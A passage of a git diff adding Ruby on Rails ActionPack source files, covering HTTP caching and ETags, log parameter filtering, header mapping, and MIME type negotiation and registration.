+          html_document.root
+        end
+
+        def check_required_ivars
+          # Sanity check for required instance variables so we can give an
+          # understandable error message.
+          [:@routes, :@controller, :@request, :@response].each do |iv_name|
+            if !instance_variable_defined?(iv_name) || instance_variable_get(iv_name).nil?
+              raise "#{iv_name} is nil: make sure you set it in your test's setup method."
+            end
+          end
+        end
+    end
+
+    include Behavior
+  end
+end
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
new file mode 100644
index 0000000000..34937f3229
--- /dev/null
+++ b/actionpack/lib/action_dispatch.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require "active_support/core_ext/module/attribute_accessors"
+
+require "action_pack"
+require "rack"
+
+module Rack
+  autoload :Test, "rack/test"
+end
+
+module ActionDispatch
+  extend ActiveSupport::Autoload
+
+  class IllegalStateError < StandardError
+  end
+
+  eager_autoload do
+    autoload_under "http" do
+      autoload :Request
+      autoload :Response
+    end
+  end
+
+  autoload_under "middleware" do
+    autoload :RequestId
+    autoload :Callbacks
+    autoload :Cookies
+    autoload :DebugExceptions
+    autoload :DebugLocks
+    autoload :ExceptionWrapper
+    autoload :Executor
+    autoload :Flash
+    autoload :PublicExceptions
+    autoload :Reloader
+    autoload :RemoteIp
+    autoload :ShowExceptions
+    autoload :SSL
+    autoload :Static
+  end
+
+  autoload :Journey
+  autoload :MiddlewareStack, "action_dispatch/middleware/stack"
+  autoload :Routing
+
+  module Http
+    extend ActiveSupport::Autoload
+
+    autoload :Cache
+    autoload :Headers
+    autoload :MimeNegotiation
+    autoload :Parameters
+    autoload :ParameterFilter
+    autoload :Upload
+    autoload :UploadedFile, "action_dispatch/http/upload"
+    autoload :URL
+  end
+
+  module Session
+    autoload :AbstractStore,     "action_dispatch/middleware/session/abstract_store"
+    autoload :CookieStore,       "action_dispatch/middleware/session/cookie_store"
+    autoload :MemCacheStore,     "action_dispatch/middleware/session/mem_cache_store"
+    autoload :CacheStore,        "action_dispatch/middleware/session/cache_store"
+  end
+
+  mattr_accessor :test_app
+
+  autoload_under "testing" do
+    autoload :Assertions
+    autoload :Integration
+    autoload :IntegrationTest, "action_dispatch/testing/integration"
+    autoload :TestProcess
+    autoload :TestRequest
+    autoload :TestResponse
+    autoload :AssertionResponse
+  end
+
+  autoload :SystemTestCase, "action_dispatch/system_test_case"
+end
+
+autoload :Mime, "action_dispatch/http/mime_type"
+
+ActiveSupport.on_load(:action_view) do
+  ActionView::Base.default_formats ||= Mime::SET.symbols
+  ActionView::Template::Types.delegate_to Mime
+end
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
new file mode 100644
index 0000000000..2cc609406a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Http
+    module Cache
+      module Request
+        HTTP_IF_MODIFIED_SINCE = "HTTP_IF_MODIFIED_SINCE".freeze
+        HTTP_IF_NONE_MATCH     = "HTTP_IF_NONE_MATCH".freeze
+
+        def if_modified_since
+          if since = get_header(HTTP_IF_MODIFIED_SINCE)
+            Time.rfc2822(since) rescue nil
+          end
+        end
+
+        def if_none_match
+          get_header HTTP_IF_NONE_MATCH
+        end
+
+        def if_none_match_etags
+          if_none_match ? if_none_match.split(/\s*,\s*/) : []
+        end
+
+        def not_modified?(modified_at)
+          if_modified_since && modified_at && if_modified_since >= modified_at
+        end
+
+        def etag_matches?(etag)
+          if etag
+            validators = if_none_match_etags
+            validators.include?(etag) || validators.include?("*")
+          end
+        end
+
+        # Check response freshness (Last-Modified and ETag) against request
+        # If-Modified-Since and If-None-Match conditions. If both headers are
+        # supplied, both must match, or the request is not considered fresh.
+        def fresh?(response)
+          last_modified = if_modified_since
+          etag          = if_none_match
+
+          return false unless last_modified || etag
+
+          success = true
+          success &&= not_modified?(response.last_modified) if last_modified
+          success &&= etag_matches?(response.etag) if etag
+          success
+        end
+      end
+
+      module Response
+        attr_reader :cache_control
+
+        def last_modified
+          if last = get_header(LAST_MODIFIED)
+            Time.httpdate(last)
+          end
+        end
+
+        def last_modified?
+          has_header? LAST_MODIFIED
+        end
+
+        def last_modified=(utc_time)
+          set_header LAST_MODIFIED, utc_time.httpdate
+        end
+
+        def date
+          if date_header = get_header(DATE)
+            Time.httpdate(date_header)
+          end
+        end
+
+        def date?
+          has_header? DATE
+        end
+
+        def date=(utc_time)
+          set_header DATE, utc_time.httpdate
+        end
+
+        # This method sets a weak ETag validator on the response so browsers
+        # and proxies may cache the response, keyed on the ETag. On subsequent
+        # requests, the If-None-Match header is set to the cached ETag. If it
+        # matches the current ETag, we can return a 304 Not Modified response
+        # with no body, letting the browser or proxy know that their cache is
+        # current. Big savings in request time and network bandwidth.
+        #
+        # Weak ETags are considered to be semantically equivalent but not
+        # byte-for-byte identical. This is perfect for browser caching of HTML
+        # pages where we don't care about exact equality, just what the user
+        # is viewing.
+        #
+        # Strong ETags are considered byte-for-byte identical. They allow a
+        # browser or proxy cache to support Range requests, useful for paging
+        # through a PDF file or scrubbing through a video. Some CDNs only
+        # support strong ETags and will ignore weak ETags entirely.
+        #
+        # Weak ETags are what we almost always need, so they're the default.
+        # Check out `#strong_etag=` to provide a strong ETag validator.
+        def etag=(weak_validators)
+          self.weak_etag = weak_validators
+        end
+
+        def weak_etag=(weak_validators)
+          set_header "ETag", generate_weak_etag(weak_validators)
+        end
+
+        def strong_etag=(strong_validators)
+          set_header "ETag", generate_strong_etag(strong_validators)
+        end
+
+        def etag?; etag; end
+
+        # True if an ETag is set and it's a weak validator (preceded with W/)
+        def weak_etag?
+          etag? && etag.starts_with?('W/"')
+        end
+
+        # True if an ETag is set and it isn't a weak validator (not preceded with W/)
+        def strong_etag?
+          etag? && !weak_etag?
+        end
+
+      private
+
+        DATE          = "Date".freeze
+        LAST_MODIFIED = "Last-Modified".freeze
+        SPECIAL_KEYS  = Set.new(%w[extras no-cache max-age public private must-revalidate])
+
+        def generate_weak_etag(validators)
+          "W/#{generate_strong_etag(validators)}"
+        end
+
+        def generate_strong_etag(validators)
+          %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(validators))}")
+        end
+
+        def cache_control_segments
+          if cache_control = _cache_control
+            cache_control.delete(" ").split(",")
+          else
+            []
+          end
+        end
+
+        def cache_control_headers
+          cache_control = {}
+
+          cache_control_segments.each do |segment|
+            directive, argument = segment.split("=", 2)
+
+            if SPECIAL_KEYS.include? directive
+              key = directive.tr("-", "_")
+              cache_control[key.to_sym] = argument || true
+            else
+              cache_control[:extras] ||= []
+              cache_control[:extras] << segment
+            end
+          end
+
+          cache_control
+        end
+
+        def prepare_cache_control!
+          @cache_control = cache_control_headers
+        end
+
+        def handle_conditional_get!
+          if etag? || last_modified? || !@cache_control.empty?
+            set_conditional_cache_control!(@cache_control)
+          end
+        end
+
+        DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate".freeze
+        NO_CACHE              = "no-cache".freeze
+        PUBLIC                = "public".freeze
+        PRIVATE               = "private".freeze
+        MUST_REVALIDATE       = "must-revalidate".freeze
+
+        def set_conditional_cache_control!(cache_control)
+          control = {}
+          cc_headers = cache_control_headers
+          if extras = cc_headers.delete(:extras)
+            cache_control[:extras] ||= []
+            cache_control[:extras] += extras
+            cache_control[:extras].uniq!
+          end
+
+          control.merge! cc_headers
+          control.merge! cache_control
+
+          if control.empty?
+            self._cache_control = DEFAULT_CACHE_CONTROL
+          elsif control[:no_cache]
+            self._cache_control = NO_CACHE
+            if control[:extras]
+              self._cache_control = _cache_control + ", #{control[:extras].join(', ')}"
+            end
+          else
+            extras  = control[:extras]
+            max_age = control[:max_age]
+
+            options = []
+            options << "max-age=#{max_age.to_i}" if max_age
+            options << (control[:public] ? PUBLIC : PRIVATE)
+            options << MUST_REVALIDATE if control[:must_revalidate]
+            options.concat(extras) if extras
+
+            self._cache_control = options.join(", ")
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
new file mode 100644
index 0000000000..b7141cc1b9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require_relative "parameter_filter"
+
+module ActionDispatch
+  module Http
+    # Allows you to specify sensitive parameters which will be replaced from
+    # the request log by looking in the query string of the request and all
+    # sub-hashes of the params hash to filter. Filtering only certain sub-keys
+    # from a hash is possible by using the dot notation: 'credit_card.number'.
+    # If a block is given, each key and value of the params hash and all
+    # sub-hashes is passed to it, the value or key can be replaced using
+    # String#replace or similar method.
+    #
+    #   env["action_dispatch.parameter_filter"] = [:password]
+    #   => replaces the value to all keys matching /password/i with "[FILTERED]"
+    #
+    #   env["action_dispatch.parameter_filter"] = [:foo, "bar"]
+    #   => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
+    #
+    #   env["action_dispatch.parameter_filter"] = [ "credit_card.code" ]
+    #   => replaces { credit_card: {code: "xxxx"} } with "[FILTERED]", does not
+    #   change { file: { code: "xxxx"} }
+    #
+    #   env["action_dispatch.parameter_filter"] = -> (k, v) do
+    #     v.reverse! if k =~ /secret/i
+    #   end
+    #   => reverses the value to all keys matching /secret/i
+    module FilterParameters
+      ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"] # :nodoc:
+      NULL_PARAM_FILTER = ParameterFilter.new # :nodoc:
+      NULL_ENV_FILTER   = ParameterFilter.new ENV_MATCH # :nodoc:
+
+      def initialize
+        super
+        @filtered_parameters = nil
+        @filtered_env        = nil
+        @filtered_path       = nil
+      end
+
+      # Returns a hash of parameters with all sensitive data replaced.
+      def filtered_parameters
+        @filtered_parameters ||= parameter_filter.filter(parameters)
+      end
+
+      # Returns a hash of request.env with all sensitive data replaced.
+      def filtered_env
+        @filtered_env ||= env_filter.filter(@env)
+      end
+
+      # Reconstructed a path with all sensitive GET parameters replaced.
+      def filtered_path
+        @filtered_path ||= query_string.empty? ? path : "#{path}?#{filtered_query_string}"
+      end
+
+    private
+
+      def parameter_filter # :doc:
+        parameter_filter_for fetch_header("action_dispatch.parameter_filter") {
+          return NULL_PARAM_FILTER
+        }
+      end
+
+      def env_filter # :doc:
+        user_key = fetch_header("action_dispatch.parameter_filter") {
+          return NULL_ENV_FILTER
+        }
+        parameter_filter_for(Array(user_key) + ENV_MATCH)
+      end
+
+      def parameter_filter_for(filters) # :doc:
+        ParameterFilter.new(filters)
+      end
+
+      KV_RE   = "[^&;=]+"
+      PAIR_RE = %r{(#{KV_RE})=(#{KV_RE})}
+      def filtered_query_string # :doc:
+        query_string.gsub(PAIR_RE) do |_|
+          parameter_filter.filter($1 => $2).first.join("=")
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
new file mode 100644
index 0000000000..25394fe5dd
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Http
+    module FilterRedirect
+      FILTERED = "[FILTERED]".freeze # :nodoc:
+
+      def filtered_location # :nodoc:
+        if location_filter_match?
+          FILTERED
+        else
+          location
+        end
+      end
+
+    private
+
+      def location_filters
+        if request
+          request.get_header("action_dispatch.redirect_filter") || []
+        else
+          []
+        end
+      end
+
+      def location_filter_match?
+        location_filters.any? do |filter|
+          if String === filter
+            location.include?(filter)
+          elsif Regexp === filter
+            location =~ filter
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
new file mode 100644
index 0000000000..c3c2a9d8c5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Http
+    # Provides access to the request's HTTP headers from the environment.
+    #
+    #   env     = { "CONTENT_TYPE" => "text/plain", "HTTP_USER_AGENT" => "curl/7.43.0" }
+    #   headers = ActionDispatch::Http::Headers.from_hash(env)
+    #   headers["Content-Type"] # => "text/plain"
+    #   headers["User-Agent"] # => "curl/7.43.0"
+    #
+    # Also note that when headers are mapped to CGI-like variables by the Rack
+    # server, both dashes and underscores are converted to underscores. This
+    # ambiguity cannot be resolved at this stage anymore. Both underscores and
+    # dashes have to be interpreted as if they were originally sent as dashes.
+    #
+    #   # GET / HTTP/1.1
+    #   # ...
+    #   # User-Agent: curl/7.43.0
+    #   # X_Custom_Header: token
+    #
+    #   headers["X_Custom_Header"] # => nil
+    #   headers["X-Custom-Header"] # => "token"
+    class Headers
+      CGI_VARIABLES = Set.new(%W[
+        AUTH_TYPE
+        CONTENT_LENGTH
+        CONTENT_TYPE
+        GATEWAY_INTERFACE
+        HTTPS
+        PATH_INFO
+        PATH_TRANSLATED
+        QUERY_STRING
+        REMOTE_ADDR
+        REMOTE_HOST
+        REMOTE_IDENT
+        REMOTE_USER
+        REQUEST_METHOD
+        SCRIPT_NAME
+        SERVER_NAME
+        SERVER_PORT
+        SERVER_PROTOCOL
+        SERVER_SOFTWARE
+      ]).freeze
+
+      HTTP_HEADER = /\A[A-Za-z0-9-]+\z/
+
+      include Enumerable
+
+      def self.from_hash(hash)
+        new ActionDispatch::Request.new hash
+      end
+
+      def initialize(request) # :nodoc:
+        @req = request
+      end
+
+      # Returns the value for the given key mapped to @env.
+      def [](key)
+        @req.get_header env_name(key)
+      end
+
+      # Sets the given value for the key mapped to @env.
+      def []=(key, value)
+        @req.set_header env_name(key), value
+      end
+
+      # Add a value to a multivalued header like Vary or Accept-Encoding.
+      def add(key, value)
+        @req.add_header env_name(key), value
+      end
+
+      def key?(key)
+        @req.has_header? env_name(key)
+      end
+      alias :include? :key?
+
+      DEFAULT = Object.new # :nodoc:
+
+      # Returns the value for the given key mapped to @env.
+      #
+      # If the key is not found and an optional code block is not provided,
+      # raises a <tt>KeyError</tt> exception.
+      #
+      # If the code block is provided, then it will be run and
+      # its result returned.
+      def fetch(key, default = DEFAULT)
+        @req.fetch_header(env_name(key)) do
+          return default unless default == DEFAULT
+          return yield if block_given?
+          raise KeyError, key
+        end
+      end
+
+      def each(&block)
+        @req.each_header(&block)
+      end
+
+      # Returns a new Http::Headers instance containing the contents of
+      # <tt>headers_or_env</tt> and the original instance.
+      def merge(headers_or_env)
+        headers = @req.dup.headers
+        headers.merge!(headers_or_env)
+        headers
+      end
+
+      # Adds the contents of <tt>headers_or_env</tt> to original instance
+      # entries; duplicate keys are overwritten with the values from
+      # <tt>headers_or_env</tt>.
+      def merge!(headers_or_env)
+        headers_or_env.each do |key, value|
+          @req.set_header env_name(key), value
+        end
+      end
+
+      def env; @req.env.dup; end
+
+      private
+
+        # Converts an HTTP header name to an environment variable name if it is
+        # not contained within the headers hash.
+        def env_name(key)
+          key = key.to_s
+          if key =~ HTTP_HEADER
+            key = key.upcase.tr("-", "_")
+            key = "HTTP_" + key unless CGI_VARIABLES.include?(key)
+          end
+          key
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
new file mode 100644
index 0000000000..0ca18d98a1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -0,0 +1,173 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+
+module ActionDispatch
+  module Http
+    module MimeNegotiation
+      extend ActiveSupport::Concern
+
+      included do
+        mattr_accessor :ignore_accept_header, default: false
+      end
+
+      # The MIME type of the HTTP request, such as Mime[:xml].
+      #
+      # For backward compatibility, the post \format is extracted from the
+      # X-Post-Data-Format HTTP header if present.
+      def content_mime_type
+        fetch_header("action_dispatch.request.content_type") do |k|
+          v = if get_header("CONTENT_TYPE") =~ /^([^,\;]*)/
+            Mime::Type.lookup($1.strip.downcase)
+          else
+            nil
+          end
+          set_header k, v
+        end
+      end
+
+      def content_type
+        content_mime_type && content_mime_type.to_s
+      end
+
+      def has_content_type? # :nodoc:
+        get_header "CONTENT_TYPE"
+      end
+
+      # Returns the accepted MIME type for the request.
+      def accepts
+        fetch_header("action_dispatch.request.accepts") do |k|
+          header = get_header("HTTP_ACCEPT").to_s.strip
+
+          v = if header.empty?
+            [content_mime_type]
+          else
+            Mime::Type.parse(header)
+          end
+          set_header k, v
+        end
+      end
+
+      # Returns the MIME type for the \format used in the request.
+      #
+      #   GET /posts/5.xml   | request.format => Mime[:xml]
+      #   GET /posts/5.xhtml | request.format => Mime[:html]
+      #   GET /posts/5       | request.format => Mime[:html] or Mime[:js], or request.accepts.first
+      #
+      def format(view_path = [])
+        formats.first || Mime::NullType.instance
+      end
+
+      def formats
+        fetch_header("action_dispatch.request.formats") do |k|
+          params_readable = begin
+                              parameters[:format]
+                            rescue ActionController::BadRequest
+                              false
+                            end
+
+          v = if params_readable
+            Array(Mime[parameters[:format]])
+          elsif use_accept_header && valid_accept_header
+            accepts
+          elsif extension_format = format_from_path_extension
+            [extension_format]
+          elsif xhr?
+            [Mime[:js]]
+          else
+            [Mime[:html]]
+          end
+          set_header k, v
+        end
+      end
+
+      # Sets the \variant for template.
+      def variant=(variant)
+        variant = Array(variant)
+
+        if variant.all? { |v| v.is_a?(Symbol) }
+          @variant = ActiveSupport::ArrayInquirer.new(variant)
+        else
+          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols. " \
+            "For security reasons, never directly set the variant to a user-provided value, " \
+            "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+            "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+        end
+      end
+
+      def variant
+        @variant ||= ActiveSupport::ArrayInquirer.new
+      end
+
+      # Sets the \format by string extension, which can be used to force custom formats
+      # that are not controlled by the extension.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     before_action :adjust_format_for_iphone
+      #
+      #     private
+      #       def adjust_format_for_iphone
+      #         request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+      #       end
+      #   end
+      def format=(extension)
+        parameters[:format] = extension.to_s
+        set_header "action_dispatch.request.formats", [Mime::Type.lookup_by_extension(parameters[:format])]
+      end
+
+      # Sets the \formats by string extensions. This differs from #format= by allowing you
+      # to set multiple, ordered formats, which is useful when you want to have a fallback.
+      #
+      # In this example, the :iphone format will be used if it's available, otherwise it'll fallback
+      # to the :html format.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     before_action :adjust_format_for_iphone_with_html_fallback
+      #
+      #     private
+      #       def adjust_format_for_iphone_with_html_fallback
+      #         request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+      #       end
+      #   end
+      def formats=(extensions)
+        parameters[:format] = extensions.first.to_s
+        set_header "action_dispatch.request.formats", extensions.collect { |extension|
+          Mime::Type.lookup_by_extension(extension)
+        }
+      end
+
+      # Returns the first MIME type that matches the provided array of MIME types.
+      def negotiate_mime(order)
+        formats.each do |priority|
+          if priority == Mime::ALL
+            return order.first
+          elsif order.include?(priority)
+            return priority
+          end
+        end
+
+        order.include?(Mime::ALL) ? format : nil
+      end
+
+      private
+
+        BROWSER_LIKE_ACCEPTS = /,\s*\*\/\*|\*\/\*\s*,/
+
+        def valid_accept_header # :doc:
+          (xhr? && (accept.present? || content_mime_type)) ||
+            (accept.present? && accept !~ BROWSER_LIKE_ACCEPTS)
+        end
+
+        def use_accept_header # :doc:
+          !self.class.ignore_accept_header
+        end
+
+        def format_from_path_extension # :doc:
+          path = get_header("action_dispatch.original_path") || get_header("PATH_INFO")
+          if match = path && path.match(/\.(\w+)\z/)
+            Mime[match.captures.first]
+          end
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
new file mode 100644
index 0000000000..d797e90e52
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -0,0 +1,342 @@
+# frozen_string_literal: true
+
+# -*- frozen-string-literal: true -*-
+
+require "singleton"
+require "active_support/core_ext/string/starts_ends_with"
+
+module Mime
+  class Mimes
+    include Enumerable
+
+    def initialize
+      @mimes = []
+      @symbols = nil
+    end
+
+    def each
+      @mimes.each { |x| yield x }
+    end
+
+    def <<(type)
+      @mimes << type
+      @symbols = nil
+    end
+
+    def delete_if
+      @mimes.delete_if { |x| yield x }.tap { @symbols = nil }
+    end
+
+    def symbols
+      @symbols ||= map(&:to_sym)
+    end
+  end
+
+  SET              = Mimes.new
+  EXTENSION_LOOKUP = {}
+  LOOKUP           = {}
+
+  class << self
+    def [](type)
+      return type if type.is_a?(Type)
+      Type.lookup_by_extension(type)
+    end
+
+    def fetch(type)
+      return type if type.is_a?(Type)
+      EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+    end
+  end
+
+  # Encapsulates the notion of a MIME type. Can be used at render time, for example, with:
+  #
+  #   class PostsController < ActionController::Base
+  #     def show
+  #       @post = Post.find(params[:id])
+  #
+  #       respond_to do |format|
+  #         format.html
+  #         format.ics { render body: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar")  }
+  #         format.xml { render xml: @post }
+  #       end
+  #     end
+  #   end
+  class Type
+    attr_reader :symbol
+
+    @register_callbacks = []
+
+    # A simple helper class used in parsing the accept header.
+    class AcceptItem #:nodoc:
+      attr_accessor :index, :name, :q
+      alias :to_s :name
+
+      def initialize(index, name, q = nil)
+        @index = index
+        @name = name
+        q ||= 0.0 if @name == "*/*".freeze # Default wildcard match to end of list.
+        @q = ((q || 1.0).to_f * 100).to_i
+      end
+
+      def <=>(item)
+        result = item.q <=> @q
+        result = @index <=> item.index if result == 0
+        result
+      end
+    end
+
+    class AcceptList #:nodoc:
+      def self.sort!(list)
+        list.sort!
+
+        text_xml_idx = find_item_by_name list, "text/xml"
+        app_xml_idx = find_item_by_name list, Mime[:xml].to_s
+
+        # Take care of the broken text/xml entry by renaming or deleting it.
+        if text_xml_idx && app_xml_idx
+          app_xml = list[app_xml_idx]
+          text_xml = list[text_xml_idx]
+
+          app_xml.q = [text_xml.q, app_xml.q].max # Set the q value to the max of the two.
+          if app_xml_idx > text_xml_idx  # Make sure app_xml is ahead of text_xml in the list.
+            list[app_xml_idx], list[text_xml_idx] = text_xml, app_xml
+            app_xml_idx, text_xml_idx = text_xml_idx, app_xml_idx
+          end
+          list.delete_at(text_xml_idx)  # Delete text_xml from the list.
+        elsif text_xml_idx
+          list[text_xml_idx].name = Mime[:xml].to_s
+        end
+
+        # Look for more specific XML-based types and sort them ahead of app/xml.
+        if app_xml_idx
+          app_xml = list[app_xml_idx]
+          idx = app_xml_idx
+
+          while idx < list.length
+            type = list[idx]
+            break if type.q < app_xml.q
+
+            if type.name.ends_with? "+xml"
+              list[app_xml_idx], list[idx] = list[idx], app_xml
+              app_xml_idx = idx
+            end
+            idx += 1
+          end
+        end
+
+        list.map! { |i| Mime::Type.lookup(i.name) }.uniq!
+        list
+      end
+
+      def self.find_item_by_name(array, name)
+        array.index { |item| item.name == name }
+      end
+    end
+
+    class << self
+      TRAILING_STAR_REGEXP = /^(text|application)\/\*/
+      PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/
+
+      def register_callback(&block)
+        @register_callbacks << block
+      end
+
+      def lookup(string)
+        LOOKUP[string] || Type.new(string)
+      end
+
+      def lookup_by_extension(extension)
+        EXTENSION_LOOKUP[extension.to_s]
+      end
+
+      # Registers an alias that's not used on MIME type lookup, but can be referenced directly. Especially useful for
+      # rendering different HTML versions depending on the user agent, like an iPhone.
+      def register_alias(string, symbol, extension_synonyms = [])
+        register(string, symbol, [], extension_synonyms, true)
+      end
+
+      def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
+        new_mime = Type.new(string, symbol, mime_type_synonyms)
+
+        SET << new_mime
+
+        ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = new_mime } unless skip_lookup
+        ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = new_mime }
+
+        @register_callbacks.each do |callback|
+          callback.call(new_mime)
+        end
+        new_mime
+      end
+
+      def parse(accept_header)
+        if !accept_header.include?(",")
+          accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
+          parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
+        else
+          list, index = [], 0
+          accept_header.split(",").each do |header|
+            params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
+
+            next unless params
+            params.strip!
+            next if params.empty?
+
+            params = parse_trailing_star(params) || [params]
+
+            params.each do |m|
+              list << AcceptItem.new(index, m.to_s, q)
+              index += 1
+            end
+          end
+          AcceptList.sort! list
+        end
+      end
+
+      def parse_trailing_star(accept_header)
+        parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP
+      end
+
+      # For an input of <tt>'text'</tt>, returns <tt>[Mime[:json], Mime[:xml], Mime[:ics],
+      # Mime[:html], Mime[:css], Mime[:csv], Mime[:js], Mime[:yaml], Mime[:text]</tt>.
+      #
+      # For an input of <tt>'application'</tt>, returns <tt>[Mime[:html], Mime[:js],
+      # Mime[:xml], Mime[:yaml], Mime[:atom], Mime[:json], Mime[:rss], Mime[:url_encoded_form]</tt>.
+      def parse_data_with_trailing_star(type)
+        Mime::SET.select { |m| m =~ type }
+      end
+
+      # This method is opposite of register method.
+      #
+      # To unregister a MIME type:
+      #
+      #   Mime::Type.unregister(:mobile)
+      def unregister(symbol)
+        symbol = symbol.downcase
+        if mime = Mime[symbol]
+          SET.delete_if { |v| v.eql?(mime) }
+          LOOKUP.delete_if { |_, v| v.eql?(mime) }
+          EXTENSION_LOOKUP.delete_if { |_, v| v.eql?(mime) }
+        end
+      end
+    end
+
+    attr_reader :hash
+
+    def initialize(string, symbol = nil, synonyms = [])
+      @symbol, @synonyms = symbol, synonyms
+      @string = string
+      @hash = [@string, @synonyms, @symbol].hash
+    end
+
+    def to_s
+      @string
+    end
+
+    def to_str
+      to_s
+    end
+
+    def to_sym
+      @symbol
+    end
+
+    def ref
+      symbol || to_s
+    end
+
+    def ===(list)
+      if list.is_a?(Array)
+        (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }
+      else
+        super
+      end
+    end
+
+    def ==(mime_type)
+      return false unless mime_type
+      (@synonyms + [ self ]).any? do |synonym|
+        synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym
+      end
+    end
+
+    def eql?(other)
+      super || (self.class == other.class &&
+                @string    == other.string &&
+                @synonyms  == other.synonyms &&
+                @symbol    == other.symbol)
+    end
+
+    def =~(mime_type)
+      return false unless mime_type
+      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+      @synonyms.any? { |synonym| synonym.to_s =~ regexp } || @string =~ regexp
+    end
+
+    def html?
+      symbol == :html || @string =~ /html/
+    end
+
+    def all?; false; end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_reader :string, :synonyms
+
+    private
+
+      def to_ary; end
+      def to_a; end
+
+      def method_missing(method, *args)
+        if method.to_s.ends_with? "?"
+          method[0..-2].downcase.to_sym == to_sym
+        else
+          super
+        end
+      end
+
+      def respond_to_missing?(method, include_private = false)
+        (method.to_s.ends_with? "?") || super
+      end
+  end
+
+  class AllType < Type
+    include Singleton
+
+    def initialize
+      super "*/*", :all
+    end
+
+    def all?; true; end
+    def html?; true; end
+  end
+
+  # ALL isn't a real MIME type, so we don't register it for lookup with the
+  # other concrete types. It's a wildcard match that we use for `respond_to`
+  # negotiation internals.
+  ALL = AllType.instance
+
+  class NullType
+    include Singleton
+
+    def nil?
+      true
+    end
+
+    def ref; end
+
+    private
+      def respond_to_missing?(method, _)
+        method.to_s.ends_with? "?"
+      end
+
+      def method_missing(method, *args)
+        false if method.to_s.ends_with? "?"
+      end
+  end
+end
+
+require_relative "mime_types"
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
new file mode 100644
index 0000000000..5d866e5d71
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+# Build list of Mime types for HTTP responses
+# http://www.iana.org/assignments/media-types/
+
+Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
+Mime::Type.register "text/plain", :text, [], %w(txt)
